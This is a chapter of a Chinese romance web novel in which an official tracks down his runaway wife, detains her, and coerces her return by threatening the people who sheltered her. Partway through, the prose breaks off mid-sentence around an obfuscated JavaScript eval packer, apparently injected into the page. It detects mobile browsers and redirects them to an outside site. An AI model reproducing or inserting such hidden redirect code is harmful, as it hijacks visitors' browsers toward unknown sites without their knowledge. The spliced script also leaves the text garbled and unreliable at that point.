香气扑鼻,李昭珣也顾不得什么礼仪了,拿起筷子,小口小口地吃了起来。 面条筋道,汤鲜味美,一路暖到胃里,连带着慌乱的心也似乎安定了些许。 他吃得专注,没注意到女子偶尔投来的,带着一丝淡淡怜惜与探究的目光。 吃饱了,身上也暖了,李昭珣才想起自己的处境,又开始发愁。 他摸了摸空空如也的口袋,脸涨得通红,嚅嗫着不知如何开口。 那女子却像是看穿了他的窘迫,温声道:“小公子是跟家人走散了吧?看你不像本地人。面钱不急,你若记得家在何处,或可告诉我,我让伙计帮你寻寻?” 她的善解人意让李昭珣更加羞愧,也更添了几分信任。 他不敢暴露身份,只含糊道:“我......我跟表哥出来办事,在码头走散了......” 女子闻言,点头道:“这样吧,你先在这儿歇着,我让人去码头那边打听打听。你表哥若也在寻你,总会找到这里的。” 她安排李昭珣在柜台后的一个小隔间里休息,那里有张简单的榻,还算暖和隐蔽。又拿来一件半旧的厚棉袍给他披上。 李昭珣心中感激无以复加,只觉得这位姐姐是天下第一等的好人。 他默默记下了店名和位置,想着等找到璟表哥,一定要好好酬谢。 另一边,容璟的人几乎将小镇翻了个遍,终于在午后,于归月楼附近发现了正在探头张望,似在寻找什么的十一皇子。 侍卫将人带回驿站,李昭珣惊魂稍定,立刻对容璟道:“表哥,我走丢时,又冷又饿,是一位开酒肆的姜姐姐好心收留了我,还给我吃了热汤面。我们得去谢谢她!” 容璟正用帕子慢条斯理地擦着手,闻言,动作几不可察地顿了一下。 姜姐姐?酒肆? 一丝极淡的,连他自己都未曾察觉的异样感掠过心头,快得如同错觉。 他抬眼,看着李昭珣亮晶晶的,满是感激的眼睛,唇角缓缓弯起一个温和的弧度。 他放下帕子,语气平和:“知恩图报,是应当的。既要谢,便不能失了礼数。明日,我陪你一同前去。” 他需要维持这个温和教导,重情重义的表哥形象。况且,一家能让走失皇子觉得安心,并施以援手的酒肆,也值得他亲自去看一眼。 翌日上午,容璟换了身低调的苍青色常服,带着备好的谢礼——几匹上好的杭绸,两匣精致的点心,由李昭珣引路,来到了那条名为清水巷的街道。 还未走近,便听见前方一阵不同寻常的喧哗吵嚷。 归月楼门前,围了不少人。 几个地痞模样的汉子正堵在门口,大声叫骂,地上还躺着一个捂着肚子打滚呻吟的干瘦男子。 “黑了心的店!用的什么瘟鸡烂肉!吃坏了俺兄弟的肚子!今天不赔个百八十两医药费,俺就砸了你这破店!” “就是!什么归月楼,我看是归西楼!专送人上西天!” 一个穿着皂隶服色的衙役,歪戴着帽子,在一旁阴阳怪气:“姜掌柜,你这事儿可闹大了。王三这模样,看着不像装的。按律,饮食不洁致人伤病,可是要封店拿人的!” 门内,姜于归——如今唤作姜月的女子,脸色苍白,却强自镇定地站着。 她身上还是那件素净的棉布衣裙,围着围裙,双手紧紧交握在身前,指尖因用力而发白。 她的声音清晰,却带着一丝不易察觉的颤抖:“官爷明鉴,小店所有食材,皆是每日清早从市集新鲜采买,有据可查。这位......王三爷,昨日确实来用过饭,但与他同来的还有几位客人,点的是一样的菜,并无不适。且他昨日离开时还好好的,怎的过了一夜才......” “呸!” 那叫骂的汉子啐了一口:“你意思是我兄弟讹你?他如今疼得死去活来,还有假?官爷,别听这娘们狡辩!抓回去审一审,看她还嘴硬不!” 差役见此拖长了调子:“姜掌柜,人证物证俱在,王三在你店里吃坏了肚子,这事儿,总得有个说法。要么,赔足了汤药费,再孝敬些压惊钱,要么......嘿嘿,就跟兄弟走一趟衙门,让县尊老爷评评理。你这店,怕也得停业些时日,清清晦气。” 周围看热闹的越聚越多,指指点点。有人低声说那泼皮王三是镇上有名的赖子,有人叹息姜掌柜一个外地女子,生意做得红火,到底是招了人眼。 姜于归背脊挺得笔直,指尖却深深掐进了掌心。 她认得这差役,是收了对面酒楼好处,来寻衅的。 “差爷明鉴。此事蹊跷,还请差爷明察,莫要冤枉了良善。” “良善?” 那差役嗤笑,他上前一步,便要伸手去拽她胳膊:“王三人都躺在这儿了,还能冤枉你?少废话!要么赔钱,要么......跟老子回衙门!” 就在这时,一个清脆又带着怒意的少年嗓音穿透了嘈杂:“你们做什么!不许欺负姜姐姐!” 李昭珣不知何时挤到了最前面,小脸气得发红,张开手臂就挡在了姜于归身前。 他虽换了普通富家子弟的衣裳,但那养在宫闱,不经风霜的细嫩皮肤和眼中不容侵犯的急切,与这市井环境格格不入。 差役和泼皮们都是一愣。随即,那差役眯着眼打量了李昭珣几下,见他身后只跟着两个看似寻常,眼神却锐利的随从,胆子又壮了,啐道:“哪里来的毛头小子,学人英雄救美?滚一边去,妨碍公务,连你一块儿锁了!” 容璟就站在人群稍外侧,一处卖杂货的棚檐下,冷眼旁观着这场显而易见的构陷。 他今日未着官服,一袭雨过天青色的云纹直裰,外罩墨色氅衣,清隽的面上没什么表情,只静静地看着这场闹剧。 这种市井伎俩,他见得多了。 目光掠过那差役的跋扈,泼皮的无赖,最后,落在那被围在中央的女子身上。 起初,只是漠然的一瞥。 一个市井妇人,遭遇寻常的构陷,与他何干? 但当他目光掠过那被围在中央,苍白却倔强挺直背脊的女子侧影时,心脏仿佛被一只无形的手骤然捏紧! 那身形......那抿唇的弧度......还有那双即便盛满惊惶与愤怒,却依旧清凌凌的眼睛...... 不可能! 容璟的呼吸,几不可察地,停了一刹。 仿佛极寒的冰锥,猝不及防,自天灵盖贯穿而下,将他钉在了原地。 侧脸的轮廓,紧绷的下颌线,还有那双即便盛满惊怒与无力,却依旧清亮得刺眼的眸子...... 不对。 不是相似。 是......一模一样! 不,又不是完全一样。少了些他记忆中刻意雕琢的温顺与苍白,多了几分市井磨砺出的韧劲与鲜活,但那骨子里的清冽,那眉眼间细微的,连她自己都未必察觉的倔强弧度...... 血液仿佛瞬间逆流,又在下一秒冻结成冰。 耳边所有的喧哗骤然远去,只剩下他自己骤然失控的心跳,擂鼓般撞击着耳膜。 他死死地盯着那张脸,那张与记忆深处镌刻的容颜有七八分相似,却更添风霜与坚韧,少了那份娇养出来的苍白与空洞的脸...... 姜——于——归! 三个字,如同烧红的烙铁,狠狠烫在他濒临碎裂的理智上。 她没死!她竟然没死!没有沉在护城河底,没有化为枯骨。 她在这里,在一个他全然未曾料到的,充满烟火气与腌臜算计的小镇里,系着围裙,守着这样一家......归月楼。 还在这里......开了家酒肆?成了......姜掌柜? 巨大的冲击让他眼前一阵发黑,几乎站立不稳。 狂喜,震骇,暴怒,以及一种被命运狠狠嘲弄的荒谬感,如同滔天巨浪,瞬间将他吞没! 一股难以名状的情绪,如同地下奔突的熔岩,轰然冲垮了他所有理智的堤坝。 不是狂喜,不是失而复得的庆幸,而是一种被彻底愚弄,被悍然挑衅的暴怒,混杂着一种连他自己都恐惧的,近乎毁灭的占有欲,瞬间烧红了他的眼底。 她竟敢......她怎么敢!用这样一种平淡,踏实,甚至......带着欣欣向荣意味的方式,活着?逃离他,然后,活得......似乎还不错? 这个认知,比她的死亡更让他无法忍受。 就在那差役的手即将碰到李昭珣肩膀,而李昭珣身后的暗卫即将动作的刹那。 容璟开口了:“慢着。” 声音并不高亢,却冷得如同数九寒冰,带着不容错辨的威压与戾气的声音,清晰地响起。 人群不由自主地分开。 容璟一步步走上前,苍青色的衣袍在冬日惨淡的阳光下,仿佛裹着一层实质的寒气。 他脸上没有任何表情,甚至比平日更显平静,唯有那双深不见底的眼眸,此刻幽暗得如同暴风雨前最沉凝的海,翻涌着足以吞噬一切的黑色漩涡。 他的目光,先落在李昭珣身上,带着一丝安抚,旋即,便如同最坚实的枷锁,牢牢锁定了那个脸色煞白,正难以置信地望向他,瞳孔骤然收缩到极致的女人身上。 四目相对。 时间,空间,周遭的一切,仿佛都在这一瞬间凝固,崩碎。 姜于归像是被最毒的蛇盯住,浑身血液瞬间冻结,连呼吸都停止了。 她看着他,看着这个她以为早已逃离,却如同噩梦般再次降临的男人,看着他眼中那毫不掩饰的,混合着震惊,狂怒与某种可怕占有的幽光...... 世界,在她眼前彻底崩塌。 容璟的目光落回她脸上,那里面没有了方才刻意维持的陌生,只剩下一种洞悉一切的,冰冷的,近乎残忍的了然,和一丝压抑不住的,扭曲的炙热。 他看着她眼中深切的恐惧与绝望,看着她在自己目光下微微颤抖,却强撑着不肯倒下的模样,心中那片荒芜的冰原,仿佛被投入了一块烧红的烙铁,滋滋作响,剧痛与一种毁灭般的快意同时升腾。 他缓缓地,极轻微地,勾了一下唇角。 那不是一个笑容。 那是一个猎手,在历经漫长的失落与自我折磨后,终于重新发现了逃脱猎物踪迹时,所露出的,最森然,也最志在必得的标记。 “姜......掌柜,是么?” 他开口,声音不高,却足以让她听得清清楚楚,每一个字都像裹着冰碴。 “看来,你这归月楼的生意,做得并不太平。” 说罢,容璟的目光扫过狼藉的门口,和瘫软在地的闹事者,以及姜于归苍白的脸上。 最后的最后,容璟目光先落在李昭珣身上,带着一丝恰到好处的,属于长辈的责备与关切:“昭珣,莫要莽撞。” 随即,他的视线便平平地移开,仿佛根本没有看到李昭珣身后那个脸色已惨白如纸,低着头躲避他眼神,浑身抑制不住开始颤抖的女子。 已经有人向官差展示了容璟身份的令牌,几位官差如临大敌,一改之前的态度,而容璟看向那差役,语气平淡,像是在询问一件再普通不过的公事:“何事喧哗?” 那差役心下打鼓,忙换了副嘴脸,躬身道:“回大人的话,这小店饮食不洁,吃坏了人,小的正要拿这掌柜的回衙门问话。” “哦?” 容璟的目光,这才仿佛不经意地,扫过地上呻吟的王三,又掠过店内简单的陈设,最后,极轻地,落在了姜于归脸上。 那目光,平静,幽深,没有任何多余的情绪,仿佛在看一个全然陌生的,等待被裁决的物件。 姜于归在他的目光下,只觉得四肢百骸的血液都冻住了。她万万没有想到,昨日这个少年的表哥,居然是容璟。 巨大的恐惧让她几乎窒息,但她死死咬住了下唇,强迫自己不要失态,不要......在他面前流露出更多的软弱。 容璟将她的强自镇定尽收眼底,心底那片暴戾的熔岩翻滚得更加剧烈。 他喜欢看她恐惧,喜欢看她在他面前无所遁形,喜欢......摧毁她此刻竭力维持的平静。 他微微颔首,对那差役道:“既是涉及食安,按律查问,自是应当。” 姜于归的心,猛地一沉。 他......不帮她没事,可是他......认可这构陷? 然而,容璟的下一句话,却让那差役脸上的得意瞬间凝固。 “不过。” 他话锋一转,声音依旧平淡,却带着一种冰冷的重量,“本官的表弟昨日也曾在此店用过饭食。” 说罢容璟侧身,看向李昭珣,语气里带上一丝郑重的询问:“昭珣,你昨日在此用饭后,身体可有任何不适?” 李昭珣愣了愣,不明所以,但立刻摇头:“没有!姜姐姐做的面很好吃,我吃了很暖和,没事!” 容璟点了点头,重新看向那差役,眼神里已带上了不容错辨的审视与压力:“如此,便有趣了。同店饮食,有人安然无恙,有人却突发急症。此事,恐怕并非简单的饮食不洁所能解释。若真有人蓄意投毒,或以此为由敲诈勒索,甚至......意图危害......” 他没有说完,但意图危害之后的对象,不言而喻。差役和泼皮的脸色瞬间煞白。 容璟不再看他们,目光重新落回姜于归脸上,那里面终于有了一丝极淡的,近乎公事公办的凝重。 “此事既可能牵涉......非同小可,便非尔等可以处置。” 他顿了顿,每一个字都清晰无比,砸在姜于归摇摇欲坠的心防上:“此店掌柜,以及一干涉事人等,需即刻收押,由本官......亲自审问。” 他微微抬手,对身后不知何时已悄然围上来的,气息沉凝的侍卫道:“将相关人等,全部带走。店门暂时封存,未经本官允许,任何人不得靠近。” “是!”侍卫应声上前,动作利落,却带着不容抗拒的力道。 那差役和泼皮早已吓得魂飞魄散,瘫软在地,被轻易制住。 而姜于归,在两个侍卫上前,一左一右请她时,身体剧烈地颤抖了一下。 她抬头,最后一次看向容璟。 他也正看着她。四目相对。 他眼中再无半分方才的平静与公事公办,只剩下深不见底的,翻涌着黑色旋涡的幽暗,那里面盛满了冰冷的审视,残酷的了然,以及一种......令她骨髓都冻结的,狩猎般的期待。 他微微偏了下头,唇角几不可察地,弯起一个极淡,却让她瞬间如坠冰窟的弧度。 那弧度在说:姜于归,游戏......重新开始了。 然后,他不再看她,仿佛她已是一件被贴上封条,等待查验的赃物。 他转向李昭珣,语气恢复温和:“昭珣,此地污秽,我们先回去。你放心,此事,我定会查个水落石出。” 李昭珣还想说什么,却被容璟轻轻揽住肩膀,带离了这片混乱的是非之地。 姜于归被侍卫“请”上了一辆毫不起眼的青篷马车。车门关上的瞬间,最后一丝天光被隔绝在外。 黑暗中,她蜷缩在冰冷的车厢角落,听着车轮辘辘碾过石板路的声音,身体无法控制地颤抖着,牙齿死死咬住手背,才没有让那绝望的呜咽冲口而出。 她知道,这一次,她落入的,是一个比护城河更深,更冷,也更无处可逃的——由他亲手为她重新打造的囚笼。 而临河镇县衙的班房,不过是这个囚笼,最先打开的那扇门。 临河镇县衙后院,有一处专门用来待客的僻静厢房,此刻成了临时的问话之所。 室内没有刑具,只一桌两椅,燃着一炉气味廉价的炭火,噼啪作响,非但没带来暖意,反添了几分窒闷。 姜于归被单独带入,门在身后合拢。 她站在屋子中央,手脚冰凉,那身靛蓝布裙在昏暗光线下显得格外单薄。 姜于归以为容璟会立刻出现,用他那双冰冷的眼睛审问她,用他那种平静到残忍的语气,将她这一年的新生寸寸剥开。 但是没有。 门关上后,时间便失去了意义。只有窗外光线明暗交替,记录着晨昏。 一日三餐有人准时送来,粗糙却足量的饭食,一碗清水。 甚至第二日,还多了一盆温水,一块干净的布巾。 但送饭的仆妇目不斜视,放下东西便走,无论姜于归问什么,都像聋子哑巴。 门从外头锁着,窗棂钉得结实,只有高处一扇巴掌大的透气孔,漏进一丝风,和几声遥远的,模糊的市井喧嚣。 第一天,她在惊惧与戒备中度过。每一丝风吹草动都让她绷紧神经,猜测容璟的意图,思考如何应对。 她反复推演重逢以来的一切细节,从李昭珣走失,到泼皮闹事,再到容璟出现时那双骤然幽深的眼,心一点点沉下去。 第二天,焦灼被漫长的寂静磨成了麻木。她开始观察这间屋子,墙角的霉斑,桌上油灯的烟渍,地上砖缝里干枯的草屑。 时间被拉得无比绵长,除了自己的呼吸和心跳,几乎听不到别的声响。 第三天,一种混合着疲惫与认命的平静,笼罩了她。她不再频繁看向门口,大部分时间只是坐在那张硬板床上,望着那扇小窗外的天色,从灰白到昏黄,再到漆黑。 容璟在等什么? 或许在查,查她如何从护城河脱身,查谁帮她伪造了姜月的身份,查她这一年的每一寸踪迹。 也好。查清楚了,该来的总会来。逃了三次,这次,她连逃的力气都提前耗尽了。 就在第三日的傍晚,夕阳将那扇小窗染成暗金的时候,门外终于传来了清晰的脚步声,不止一人,停在门前。 锁簧弹开的“咔哒——”声,在寂静中格外刺耳。 门开了。 容璟已换了身墨蓝色的常服,走了进来,身后跟着一个低眉顺眼的仆役,迅速换上了新的,气味清冽的银炭,又无声退出去,重新带上了门。 他走到桌边,在唯一一张圈椅中坐下。 他未抬头,只专注地看着杯中晃动的,浑浊的茶水。 时间在压抑的寂静中重新开始流淌,每一息都漫长如年,却又与那三日独自面对的寂静截然不同。 此刻的静,是有重量的,带着他的气息,他的审视,以及那即将到来的,无法预知的狂风暴雨。 姜于归依旧坐在床边,没有动。只是袖中的手,微微蜷缩了一下。 他来了。 清算的时刻,到了。 终于,他放下茶杯,发出一声轻微的磕碰响。 “姜——月。” 他缓缓念出这个名字,语调平稳,却带着一种刻意的,冰冷的玩味。 “临河镇人士?原籍清溪镇?” 他抬眼,目光如实质般落在她脸上:“这身份,做得倒是周全。连县衙的存档,都天衣无缝。” 姜于归垂着眼,指甲深深掐进掌心,疼痛让她保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148207|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 持着一丝清醒。她不说话。 “本官很好奇。” 容璟身体微微前倾,声音压低了些,带着一种近乎诱哄的残忍:“一个出身清溪镇,与家人失散的孤女,是如何在短短一年内,在这人生地不熟的临河镇,置办下产业,将生意做得风生水起?” 他顿了顿,目光锐利如刀,刮过她每一寸细微的表情:“更让本官好奇的是,你一个市井妇人,见到官差拿人,不惊不慌,条理清晰,见到少年为你出头,不卑不亢,甚至......见到本官。” 容璟忽然停住,室内的空气仿佛都凝滞了。 然后,他极慢地,一字一顿地问:“你见到本官时,那眼神......可不像是初见。倒像是......见了鬼。” 姜于归浑身一颤,猛地抬起了头。 容璟看着她眼中终于无法掩饰的惊骇与恨意,心底那股暴戾的火焰,奇异地得到了一丝满足。 他要的就是这个,撕开她所有伪装,逼出她最真实的反应。 “怎么?” 容璟轻轻笑了一声,那笑声里没有温度:“被我说中了?还是说......你认识本官?在何处见过?嗯?” 他站起身,缓步走到她面前。 高大的身影带来无形的压迫,阴影将她完全笼罩,逼得姜于归忍不住后退,直到退无可退。 容璟微微俯身,气息拂过她冰冷的额发,声音压得极低,只容她一人听见,带着一种扭曲的,近乎温柔的好奇。 “或者,我该换个问法——姜于归!” 他清晰地吐出这个名字,满意地看着她瞳孔骤缩,脸色惨白如纸。 “你是如何从护城河脱身的?又是如何,从‘已死’的荣国公世子夫人,变成这临河镇上......手艺精湛的姜掌柜的?” 他的指尖,带着冰冷的触感,轻轻拂过她颤抖的唇瓣,如同毒蛇的信子。 “告诉我。你‘死’后这一年,每一日,都是如何过的?有没有......哪怕一刻,想起过——你的夫君?” 每一个字,都像烧红的铁签,烙在她的灵魂上。 不是质问案情,是审判她的逃离,是宣告他从未放弃的占有,是迫不及待地,要将她这一年偷来的,沾着烟火气的自由人生,寸寸剥离,碾碎在他面前。 而这,仅仅是开始。 姜于归在那指尖触到的瞬间,浑身剧烈一颤,几乎要瘫软下去。但下一秒,她死死咬住了牙关。 恐惧如潮水般涌来——是他,真的是他,这个她以为早已逃离的噩梦。但紧接着,一种奇异的平静,从骨髓深处渗出。 是啊,又不是第一次了。 第一次被抓回,她歇斯底里,第二次被“谢显璋”背叛,她心死如灰,如今这第三次......她甚至觉得有些荒谬。 像一场永远逃不脱的轮回,无论她跑多远,伪装得多好,最终都会被这只手从人海里精准地拎出来。 她慢慢抬起眼,对上容璟那双深不见底的眸子。 最初的惊惶褪去,剩下的是被反复碾压后的麻木,以及一丝连她自己都未察觉的,冰冷的嘲讽。 “世子想听什么?” 姜于归的声音出乎意料地平稳,甚至带着点破罐破摔的漠然:“听民女如何从护城河爬出来,捡回半条命,如何一路到临河镇,又如何开了这家小店?” 她顿了顿,嘴角扯出一个极淡,却刺眼的弧度:“至于想起夫君......民女独居,并无夫君。” “独居?” 容璟重复这两个字,声音里听不出喜怒。 他收回手,负在身后,缓步走到窗边,背对着她。 夕阳的余晖将他墨蓝色的身影拉得修长,投在斑驳的墙上,像一道沉重的枷锁阴影。 “姜于归,你的名字,先是白纸黑字写在京兆府尹顾守正顾大人的族谱上,你作为顾大人义女,顾家千金出嫁,现在这个名字写在荣国公府族谱之上,位列容门姜氏,生辰忌日,皆有记载。” 容璟没有回头,声音平稳得像在陈述今日天气:“你是我三媒六聘,告祭过祖宗的侧室,后来,更是我亲口向陛下请旨,写入宗牒的正妻。即便你‘死’了,牌位也还供在祠堂里,香火未断。” 他转过身,目光如冰锥般钉在她脸上:“你说你独居?那祠堂里供着的,是谁的牌位?我容璟,又算是你的谁?” 姜于归袖中的手拽紧了,指甲深深陷进掌心。 她没想到容璟这个执着,她死了,都不放过她。 但姜于归又知道这套说辞,这套以宗法礼教为名,实则吃人的绳索。 一年前她或许还会愤怒争辩,如今却只觉得疲惫。 “大人既已认定民女是逃妾,是诈死欺君的罪人,那便按律法处置便是。” 说罢姜于归垂下眼,声音依旧平淡:“要杀要剐,民女认了。” “认了?” 容璟轻轻重复这两个字,仿佛听到了什么极有趣的话。 他没有动怒,甚至眼底掠过一丝近乎愉悦的微光。 他缓缓踱回她面前,停下,目光如同细细的蛛丝,将她从头到脚缠绕,审视。 “姜于归,你是不是忘了。” 容璟开口,声音不高,却字字清晰,带着一种冰棱般的质地:“你犯的,从来不是一个人的罪。” 姜于归指尖一颤,依旧垂着眼:“民女听不懂大人在说什么。一人做事一人当。” “一人做事一人当?” 容璟低笑一声,那笑声里没有丝毫暖意:“那是市井话本里的规矩。在我这里,在我容璟眼皮子底下,没有这等便宜事。” 他微微俯身,气息迫近,声音压得更低,却也更沉,一字一句砸进她耳膜:“你还记得,上一次你逃了,我是如何同你说的吗?我说,你的‘乖’,是秋实,素馨,还有南城那个小丫头禾苗......她们平安的价码。” 姜于归的呼吸窒住了。 “当时你乖了吗?” 容璟自问自答,语气平直得像在念卷宗,确实乖了一阵,还......疯了。 可是在大婚之日清醒了,醒来的第一件事,就是逃跑! “姜于归,你在大婚当日,在睿王叛军杀入的混乱里,又一次逃了,而且,还死了。” 他直起身,目光转向窗外沉沉的暮色,侧脸线条冷硬。 “你死了,所以当时那些话,我便暂且搁下。秋实,素馨调去了庄子上,禾苗一家,我也让人照看着,没动。” 容璟顿了顿,转回视线,牢牢锁住她骤然抬起的,惊惶的眼睛:“可现在,你没死。你活着,在这里,开了家酒肆,叫归月楼,当起了姜掌柜。那么,我们该算的账,就得重新算一算了。连本带利。” 姜于归脸色开始发白,但下颌依旧紧绷,硬声道:“她们......她们现在不都好端端的?世子何必旧事重提!至于归月楼的伙计,送菜的婆子,他们什么都不知道,不过是讨生活罢了!世子堂堂朝廷命官,莫非还要迁怒这些升斗小民不成?传出去,也不怕有损清誉!” 姜于归试图用道理,用名声去反驳,声音却抑制不住地发颤。 “迁怒?清誉?” 容璟像是听到了什么无稽之谈,眉梢都未动一下:“依法查办隐匿逃犯的从犯,清理户籍管理中的蛀虫,肃清地方治安,何来迁怒?至于清誉......” 他略一停顿,目光幽深地看着她:“我容璟的清誉,从来不是靠对谁心慈手软得来的。正相反,铁面无私,法不容情,才是陛下信重,同僚敬畏的根源。” 容璟不再看姜于归瞬间失血的脸,背过身去,面向墙壁,声音不高不低,却像一把冰冷的刻刀,开始在她心上凌迟。 “替你办假路引的户房书吏,玩忽职守。按《大靖律》,杖一百,流三千里,遇赦不赦。他家中有七十老母,久病缠身。流刑路上,风霜苦楚,不知这老太太,还能不能等到儿子走到发配之地?” 姜于归的嘴唇失去了颜色。 “你被救起来的河岸边,那户人家明明察觉你身份可疑,仍长期照应,并帮你隐瞒左邻右舍的探问。此乃知情不报,协助隐匿。可判入狱三年。她儿子在县衙的差事,自然是保不住了。刚怀上孩子的媳妇,若知道婆婆入狱,夫君失业,不知还肯不肯留下这个孩子?” 姜于归的身体开始细微地发抖,她死死咬住牙关,指甲深深掐进掌心,用疼痛维持着最后一点挺直的脊梁。 不能认,不能让他看出来她在乎...... 她深吸一口气,抬起眼,努力让眼神显得空洞而无谓:“大人方才提到的那些伙计,婆子,书吏,他们与民女不过泛泛之交,银钱往来罢了。大人若要查办,依法而行便是,与民女何干?” 她在赌。赌容璟会不会信她这副不在乎的样子,赌他会不会因此放过那些无辜的人。 容璟静静地看了她片刻,忽地,极轻地笑了一声。 那笑声里没有温度,只有一种了然于胸的,残忍的玩味。 “好一个泛泛之交,银钱往来。” 他踱步回来,在桌前坐下,手指无意识地轻叩着粗糙的桌面,发出单调的,令人心慌的笃笃声。 “还有那个禾苗。” 容璟的声音依旧平稳,甚至带上了一丝回忆般的悠远:“我让她在庄子上做事,那小丫头倒是记挂你。听闻你死了,哭了好久......上次提醒你,你乖了,我没动她们,但这次......” 话没说完,但其意不言而喻。 “够了!你住口!” 姜于归猛地抬起头,声音尖利得破了音。 那层强装的平静彻底碎裂,露出底下翻涌的恐惧,愤怒,以及一种生理性的恶心。她胃里翻搅,喉咙发紧,几乎要呕出来。 他不是在威胁要杀他们——那样或许干脆。 他是在慢条斯理地,一层层地剥开那些人的生活,告诉她,他有多少种方法,可以让他们合情合理地跌入深渊,生不如死。 杖刑,流放,革职,家破人亡......每一个词都带着血腥气,每一个下场都具体得让人头皮发麻。 而她,就是那个引子。 “容璟......” 姜于归终于崩溃般地尖叫出声,那声音嘶哑破碎,充满了极致的恐惧与愤怒。 她猛地后退一步,背脊撞上冰冷的墙壁,却仿佛感觉不到疼痛,只是瞪大了眼睛,死死盯着容璟,眼泪毫无预兆地汹涌而出,不是因为悲伤,而是因为一种近乎生理性的,灭顶的恶心与寒意。 “容璟!你还是不是人!” 她失控地大喊,所有强装的镇定,麻木,不在意,在这一刻被碾得粉碎:“他们有什么错?!他们只是......只是对我有一点点善意!一点点而已!你就要这样......这样毁掉他们全家?!用那些......那些可怕的刑罚!你明明知道他们是无辜的!你明明知道!” 她喘着粗气,胸口剧烈起伏,仿佛缺氧的鱼。 姜于归的声音抖得厉害,眼眶通红,却死死瞪着他,不让泪落下来:“你一定要这样吗?用这些......用这些与你我无关的人的命,来逼我?” “无关?” 容璟微微挑眉,仿佛听到了什么有趣的说法:“他们帮你隐匿身份,提供生计,便是从犯。既是触犯律法,自然该受惩处。何来逼你之说?本官不过依法办事。” 他站起身,走到她面前,居高临下地看着她。 夕阳最后一点余晖从他身后透入,他的脸隐在阴影里,只有那双眼睛,亮得骇人,里面翻涌着她看不懂的,浓稠得化不开的黑暗。 “姜于归,你似乎还没明白。” 他缓缓地,一字一顿地说:“从你选择逃离那一刻起,所有因你而动的因果,便都成了你的债。你每往前走一步,身后就会有人替你付出代价。上一次是秋实,素馨,这一次可以是王婆子,书吏,禾苗一家......下一次,又会是谁?” 他微微俯身,气息拂过她冰冷的耳廓,声音压得极低,如同恶魔的低语:“你可以继续装作不在乎。我可以先处置一两个,让你看看,是不是真的与你何干。” 姜于归浑身剧烈地颤抖起来。 不是害怕自己会怎样,而是那种巨大的,几乎要将她压垮的负罪感。 她不是什么悲天悯人的圣人。她只是......无法忍受。 无法忍受因为自己想追求自由,就连累那些仅仅对她释放过一丝善意的人,落得那般凄惨的下场。 她可以为自己选择的路去死,但不能拖着别人一起下地狱。 现代灵魂里那点一人做事一人当的道德准则,在这套牵连甚广的古代法则面前,脆弱得可笑,却又是她死死抓住,不愿放手的底线。 姜于归看着容璟近在咫尺的眼睛,那里面没有戏谑,没有得意,只有一片深不见底的,偏执的认真。 他是真的会这么做。不是为了吓她,而是因为他就是这样的人——秩序,掌控,代价,在他那里有着清晰而残酷的换算公式。 逃了三次了。 第一次,她以为自己能赢,第二次,她以为自己看透,这第三次......她以为自己重生了。 可结果呢? 不过是把囚笼的范围,从荣国公府的高墙,扩大到整个她力所能及的世界。 只要他还活着,只要容璟还想要她,她逃到哪里,哪里就会变成新的猎场,牵连进更多无辜的性命。 一股深切的,冰冷的绝望,从脚底蔓延上来,冻僵了她的四肢百骸。 累了。 真的累了。 不是屈服于他的权势,而是认清了这场游戏的规则。 只要姜于归还坚持那点可笑的,不想牵连无辜的道德感,她就永远赢不了。 而放弃那份道德感......那她就真的成了行尸走肉,连自己都会唾弃自己。 她慢慢闭上了眼,长长的睫毛在苍白的脸上投下脆弱的阴影。肩膀垮了下去,仿佛所有的力气都在这一刻被抽干。 再睁开时,眼里已是一片死寂的灰败。 容璟静静地看着她崩溃,看着她泪流满面,看着她眼中终于只剩下对他的恐惧和绝望的恨意。 他脸上没有任何表情,既无得色,也无怜悯,只有一片深沉的,近乎虚无的平静。 他得到了他想要的反应,姜于归终于不再是那副死气沉沉,油盐不进的样子。 她的情绪再次被他牢牢牵动,她的软肋,依然清晰可见。 他的手指停在她下颌,微微用力,迫使她抬起头,直面他眼中那片深不见底的黑暗。 “现在,告诉我。你是想继续当这个不在乎他们死活的姜掌柜,看着我依法处置这些人,让他们家破人亡,流离失所?还是......” 他停顿,每一个字都清晰无比地烙进她濒临碎裂的神智。 “承认你是姜于归,跟我回去。用你余生的安分,换他们此刻的平安,以及......未来的太平。” 姜于归在他手中颤抖得像风中的落叶。 她看着容璟近在咫尺的眼睛,那里面没有爱,没有情,只有冰冷的计算和不容置疑的掌控。 她知道,这不是选择,这是宣判。 逃了三次,挣扎了三次,甚至“死”了一次。 终究,还是回到了原点。 不,是跌入了更深的深渊。 这一次,她连假装不在乎,独自承受的资格都没有了。 她的自由,她的新生,她的良心,都成了他手中摆布的筹码。 巨大的无力感和绝望如同潮水灭顶,淹没了最后一丝火星。 她闭上眼,滚烫的泪水再次滑落,没入他的指尖。 “我回去......” 声音低哑,轻不可闻,却带着一种心脉尽断般的死寂。 “我跟你回去......他们是无辜的,放过他们。” 容璟的瞳孔几不可察地收缩了一下。 他看着姜于归眼中那簇曾让他着迷,又让他愤怒的火焰,终于彻底熄灭,只剩下冰冷的灰烬。 胸口某处,忽然传来一阵尖锐的刺痛,快得让他来不及捕捉。 但他立刻将它压下,碾碎,转化为更沉,更实的掌控感。 他松开手,后退一步,拉开了距离,又恢复了那副疏离淡漠的权臣模样。 “很好。” 他要的就是这个。 要姜于归认命,要她绝望,要她清楚地知道——除了他身边,她无处可去,也无法可逃。 容璟的声音恢复了惯常的平稳淡漠,仿佛刚才那番逼至绝境的低语从未发生过。 “记住你今天的话。从此刻起,你仍是荣国公世子夫人姜于归。临河镇,归月楼,姜月......这些,都与你再无瓜葛。” 容璟顿了顿,补充道:“至于那些人......既然夫人认罪回返,本官自会酌情考量,从轻发落。” 他说的是酌情考量,不是放过。留给姜于归的,是永远的悬顶之剑。 姜于归没有回应,只是麻木地看着地面。 她知道,这场持续了三轮的逃亡,终于以她彻底的,心灰意冷的投降,画上了句号。 不是因为她输了,而是因为她玩不起这个用别人鲜血做筹码的游戏。 容璟看着她失魂落魄的模样,衣袖下的手,缓缓握紧。 